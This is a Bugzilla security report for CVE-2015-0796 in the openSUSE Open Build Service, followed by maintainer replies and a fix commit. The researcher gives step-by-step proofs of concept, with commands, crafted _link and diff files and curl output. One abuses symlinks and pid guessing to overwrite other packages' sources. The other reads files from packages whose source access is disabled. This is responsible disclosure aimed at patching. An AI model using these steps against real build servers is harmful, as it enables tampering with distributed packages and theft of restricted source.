Bugzilla – Bug 941099
VUL-0: CVE-2015-0796: obs-server: OBS _link exploits
Last modified: 2018-03-02 16:05:32 UTC
reported by Marcus Huewe, cced. Hi, I hope this the correct way to report a security issue (I couldn't find an option to file a non-public bug on bugzilla.opensuse.org). Currently, it is possible to exploit an OBS _link file in order to a) modify arbitrary files in the srcserver's source repo b) get files from a package whose sourceaccess is disabled For this, two different "strategies" are employed. a) Assumptions: - the user "mallory" has no write access to the package "foobar/somepkg" - the "foobar/somepkg" package's sourceaccess is enabled (default) - $BSConfig::nosharedtrees == 0 (if it is enabled, some paths in the following example have to be adjusted) - there exists a "home:mallory/dummy" package that provides a file called "dummy" (arbitrary content - this package and file just serve as a dummy link target) Goal: - modify the "foobar/somepkg/test.spec" file Since sourceaccess is not disabled, everyone can retrieve the md5 of the "foobar/somepkg/test.spec" file. Let's assume "test.spec" has the md5 "aedf32bfbdcd41616577fe5d907ab285". Next, perform the following steps: - create and checkout the "home:mallory/link" package - cd into the checked out package - execute "python ~/genpatch.py ../../somepkg/aedf32bfbdcd41616577fe5d907ab285-test.spec 1 32768" Here, "32768" is a guessed value for the pid_max of the srcserver's host. Depending on the srcserver's "load", it possible to do better estimations for the lower and upper pid range (some code paths in "applylink" print out the name of the $tmpdir (which includes the current process' pid) in case of an error (so we just have to provoke some error)) - create a "_link" file with the following content: marcus@linux:~/home:mallory/link> cat _link <link package="dummy"> <patches> <apply name="symlinks.diff"/> <topadd>Hello world Add more content here... </topadd> </patches> </link> marcus@linux:~/home:mallory/link> - execute "touch dummy.spec" - commit the "_link", "symlinks.diff", and "dummy.spec" files As we can see, the commit modified the "somepkg/aedf32bfbdcd41616577fe5d907ab285-test.spec" file: marcus@linux:~> curl -u mallory:foobar http://localhost:3000/source/foobar/somepkg/test.spec Hello world Add more content here... marcus@linux:~> (new md5sum: "cec2e1920513ada2f8bbfa07816d6412") How it works: - when applying the git-style "symlinks.diff" file, patch creates multiple symlinks ".topaddspec<NUMBER>" pointing to the "../../somepkg/aedf32bfbdcd41616577fe5d907ab285-test.spec" file - when the topadd is applied, the "topaddspec" function writes the "Hello world..." text to the file ".topaddspec<PID>" Hence, if the process' PID lies in our guessed pid range, the "../../somepkg/aedf32bfbdcd41616577fe5d907ab285-test.spec" is modified. Implications: Instead of a spec file, one could, e.g, also modify a package's revision metadata (use "../../../projects/home:mallory.pkg/link.rev" as the symlink target). So eventually, it is possible to distribute malicious packages to the users - example: - modify files (including the *.rev and *-MD5SUMS file) using the approach from above - wait for a scheduler cold start or a change in the prjconf/project meta (so that the scheduler fetches the "updated" projpack information from the srcserver) - the scheduler recognizes the source change and starts a build Note: if the scheduler and srcserver run on the same host, it is also possible to directly trigger a build of the modified package by creating a "package" event (again using the approach from above). ### b) Assumptions: - the user "mallory" has no write access to the package "secret/secretpkg" - the "secret/secretpkg" package's sourceaccess is disabled - there exists a "home:mallory/dummy" package that provides a file called "dummy" (arbitrary content - this package and file just serve as a dummy link target) Goal: - get the "secret/secretpkg/foo" file Since the sourceaccess is disabled, we cannot simply link the "secret/secretpkg" package into our project. However, the following works: - create and checkout a "home:mallory/access" package - cd into the checked out package - create a "createlink.diff" file with the following content: marcus@linux:~/home:mallory/access> cat createlink.diff --- /dev/null 2015-08-08 12:26:36.894109984 +0200 +++ _link 2015-08-08 14:11:54.419202132 +0200 @@ -0,0 +1 @@ +<link project="secret" package="secretpkg"/> marcus@linux:~/home:mallory/access> - create a "_link" file with the following content: marcus@linux:~/home:mallory/access> cat _link <link package="dummy"> <patches> <apply name="createlink.diff"/> </patches> </link> marcus@linux:~/home:mallory/access> - commit the "createlink.diff" and "_link" files Now, the files can be accessed as follows: marcus@linux:~> curl -u mallory:foobar http://localhost:3000/source/home:mallory/access <directory name="access" rev="1" vrev="1" srcmd5="be20e3ff985780248ff29f3385c95b7f"> <linkinfo project="home:mallory" package="dummy" srcmd5="b2168fcfa0333db735a892518d997b38" xsrcmd5="f354de92458d31d5ce848b25d5cda944" lsrcmd5="be20e3ff985780248ff29f3385c95b7f" /> <entry name="_link" md5="0e867bff456517105f4899c8be0eff1f" size="92" mtime="1439035974" /> <entry name="createlink.diff" md5="e10be85b6b7904572234da5b39af9140" size="156" mtime="1439035974" /> </directory> marcus@linux:~> curl -u mallory:foobar 'http://localhost:3000/source/home:mallory/access?rev=f354de92458d31d5ce848b25d5cda944&expand=1' <directory name="access" rev="9f25dfc1371646872e9268df476eaaa7" vrev="1" srcmd5="9f25dfc1371646872e9268df476eaaa7"> <linkinfo project="secret" package="secretpkg" srcmd5="2cf5937efc6957571226958fbb3e0b9c" lsrcmd5="f354de92458d31d5ce848b25d5cda944" /> <entry name="dummy" md5="d41d8cd98f00b204e9800998ecf8427e" size="0" mtime="1438988464" /> <entry name="foo" md5="eb9c2bf0eb63f3a7bc0ea37ef18aeba5" size="13" mtime="1439035735" /> </directory> marcus@linux:~> curl -u mallory:foobar 'http://localhost:3000/source/home:mallory/access/foo?rev=9f25dfc1371646872e9268df476eaaa7' some content marcus@linux:~> Thus, we have access to the file "foo". How it works: - the expanded sources contain a "_link" that points to the package whose sourceaccess disabled - if we again expand the "expanded" sources, we can access the "foo" file, because the backend does no permission/sourceaccess checks Implications: Files that are contained in a package whose sourceaccess is disabled can be retrieved. ### The attached patch should prevent the "attacks" described in a) and b). At least so far I'm not able to perform the "attack" described in a) using a single <apply name="foo.diff"/> element, but maybe I just overlooked something:) Marcus
Created attachment 643298 [details] genpatch.py genpatch.py mentioned in email.
Created attachment 643301 [details] 0001-backend-fixed-security-bug-in-applylink.patch 0001-backend-fixed-security-bug-in-applylink.patch from marcus email.
The issue exists, Michael will fix it a little bit different though.
(In reply to Adrian Schröter from comment #3) > The issue exists, Michael will fix it a little bit different though. Great - Michael's fix is much better than my attached patch (with the attached patch data corruption was still possible by replacing the ".log" file with a symlink).
this is going out as 2.6.3, 2.5.7 and 2.4.8 atm.
https://github.com/openSUSE/open-build-service/commit/474a3db19498765f0118ba3dbc0b1cc90b0097fc